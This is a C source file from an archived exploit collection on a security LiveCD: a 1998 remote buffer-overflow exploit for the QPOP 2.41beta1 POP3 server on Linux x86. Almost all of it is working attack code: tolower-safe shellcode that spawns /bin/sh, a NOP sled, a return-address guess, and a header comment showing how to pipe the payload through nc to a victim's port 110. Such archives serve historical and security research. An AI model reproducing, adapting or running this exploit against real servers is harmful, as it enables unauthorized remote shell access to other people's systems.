home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / pop3 / qpop-2.41beta1.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  80 lines

  1. /*
  2.  *  QPOP 2.41beta1 exploit (linux x86) by mastoras
  3.  *  Some code ripped from "mount" exploit by Bloodmask and Vio
  4.  *  Assembly code changed so it is not affected by tolower() function.
  5.  *
  6.  *  this one sucks (too), but works :>
  7.  *  (./qpop 997 4000; cat) | nc your_victim 110
  8.  *
  9.  *  28 Jun 1998 
  10.  *  mastoras@hack.gr         http://www.hack.gr/users/mastoras
  11.  *  Mastoras Wins! Fatality!
  12.  */
  13.  
  14. #include <unistd.h>
  15. #include <stdio.h>
  16. #include <stdlib.h>
  17. #include <string.h>
  18.  
  19. #define DEFAULT_OFFSET 4000
  20.  
  21. u_long get_esp()
  22. {
  23.   __asm__("movl %esp, %eax");
  24. }
  25.  
  26. int main(int argc, char **argv)
  27. {
  28.   u_char execshell[] =
  29.     "\xeb\x26\x5e\x8d\x1e\x89\x5e\x1b\x31\xed\x89\x6e\x17\x89\x6e\x1f"
  30.     "\xb8\x1b\x76\x34\x12\x35\x10\x76\x34\x12\x8d\x6e\x1b\x89\xe9\x89"
  31.     "\xea\xcd\x80\x33\xc0\x40\xcd\x80\xe8\xd5\xff\xff\xff"
  32.     "/////////////////bin/sh";
  33.  
  34.   unsigned long *addr_ptr = NULL;
  35.   unsigned int ret_address;
  36.   char *buff = NULL;
  37.   char *ptr = NULL;
  38.   int BUFFER_SIZE = 997;
  39.   int ofs = DEFAULT_OFFSET;
  40.   int nops = (300/4);
  41.   int i;
  42.  
  43.   if (argc>1) BUFFER_SIZE = atoi(argv[1]);
  44.   if (argc>2) ofs = atoi(argv[2]);
  45.  
  46.   buff = malloc(4096);
  47.   if(!buff)
  48.     {
  49.       printf("can't allocate memory\n");
  50.       exit(0);
  51.     }
  52.   ptr = buff;
  53.  
  54.   /* fill start of buffer with nops */
  55.  
  56.   memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
  57.   ptr += BUFFER_SIZE-strlen(execshell);
  58.  
  59.   /* stick asm code into the buffer */
  60.  
  61.   for(i=0;i < strlen(execshell);i++)
  62.     *(ptr++) = execshell[i];
  63.  
  64.   addr_ptr = (long *)ptr;
  65.  
  66.   ret_address = get_esp() - ofs;
  67.  
  68.   for(i=0;i < (nops);i++)
  69.     *(addr_ptr++) = ret_address;
  70.  
  71.   ptr = (char *)addr_ptr;
  72.   *ptr = 0;
  73.  
  74.   fprintf(stderr, "length %d+%d+%d=%d, address=%x\n", BUFFER_SIZE,strlen(execshell),nops,
  75.           BUFFER_SIZE+strlen(execshell)+nops, ret_address);
  76.  
  77.   printf("%s\n",buff);
  78.   return 0;
  79. }
  80. /*                    www.hack.co.za              [2000]*/